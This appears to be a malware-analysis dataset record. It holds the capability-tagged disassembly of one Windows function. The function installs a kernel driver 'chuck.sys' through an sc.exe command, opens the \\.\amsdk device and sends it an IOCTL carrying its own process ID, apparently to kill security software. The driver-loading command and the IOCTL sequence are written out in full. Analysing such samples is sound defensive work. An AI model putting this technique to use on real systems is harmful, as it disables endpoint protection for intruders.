Function at 0x140015d40
Capabilities:
Check mutex on windows
Create process on windows
Create thread

Disassembly:
jmp 0x140015d40
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1428
call fcn.140001f64
sub rsp, rax
lea rdi, [rsp + 0x50]
mov ecx, 0x4f6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1440]
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0x1418], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
cmp dword [rsp + 0x1448], 1
jle 0x140015daa
lea rcx, str.WAITING__n
call fcn.140003805
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, str.Jinping
mov qword [rsp + 0x408], rax
mov r8, qword [rsp + 0x408]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x410], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140015e07
lea rcx, str.Another_instance_of_the_program_is_already_running._n
call fcn.140003805
mov rcx, qword [rsp + 0x410]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14001611f
call fcn.140006442
call fcn.140005439
mov qword [rsp + 0x418], rax
mov rcx, qword [rsp + 0x418]
call fcn.140005bf0
call fcn.1400055e7
mov dword [rsp + 0x8b4], 1
call fcn.140006df2
call fcn.140002a4f
lea rax, [rsp + 0x8d0]
lea rcx, str.sc.exe_stop_chucky__sc.exe_delete_chucky__sc.exe_create_chucky_binPath_
mov rdi, rax
mov rsi, rcx
mov ecx, 0x4d
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x91d]
mov rdi, rax
xor eax, eax
mov ecx, 0x7b3
rep stosb byte [rdi], al
lea rdx, [rsp + 0x60]
lea rcx, str.chuck.sys
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x688], rax
cmp qword [rsp + 0x688], 0xffffffffffffffff
je 0x140015eb3
xor r9d, r9d
lea r8, [rsp + 0x2f0]
mov edx, 0x104
lea rcx, [rsp + 0x8c]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x8d0]
call fcn.140003e5e
lea rdx, str.__typekernel__sc.exe_start_chucky
lea rcx, [rsp + 0x8d0]
call fcn.140003e5e
lea rdx, [rsp + 0x8d0]
lea rcx, str.FULL_command__s_n
call fcn.140003805
mov dword [rsp + 0x10f0], 0x68
lea rax, [rsp + 0x10f8]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
lea rax, [rsp + 0x1178]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x11b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0x1178]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x10f0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.0000
lea rcx, [rsp + 0x11b0]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea rcx, [rsp + 0x8d0]
call fcn.14000375b
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str.._amsdk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13c8], rax
cmp qword [rsp + 0x13c8], 0xffffffffffffffff
jne 0x140015ff7
lea rcx, str.i_cant_connect_to_drv_n
call fcn.140003805
mov eax, 0xffffffff
jmp 0x14001611f
lea rcx, str.connected_n
call fcn.140003805
lea rcx, str.im_going_to_blow_the_fuck_of_them_hahaha_n
call fcn.140003805
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x13d4], eax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rsp + 0x13d4]
mov edx, 0x80002010
mov rcx, qword [rsp + 0x13c8]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x14001607c
mov rcx, qword [rsp + 0x13c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x14001611f
lea rcx, str.registred_n
call fcn.140003805
mov rcx, qword [rsp + 0x13c8]
call fcn.1400064c9
test eax, eax
jne 0x1400160a6
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400160b1
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsp + 0x8b4], 0
je 0x140016101
call fcn.1400053df
call fcn.1400043db
lea rax, [rsp + 0x13f4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400049df]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x1408], rax
mov dword [rsp + 0x8b4], 0
jmp 0x140016088
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1401a9ed8]
call fcn.14000565a
mov rax, rdi
mov rcx, qword [rsp + 0x1418]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0x1428
pop rdi
pop rsi
ret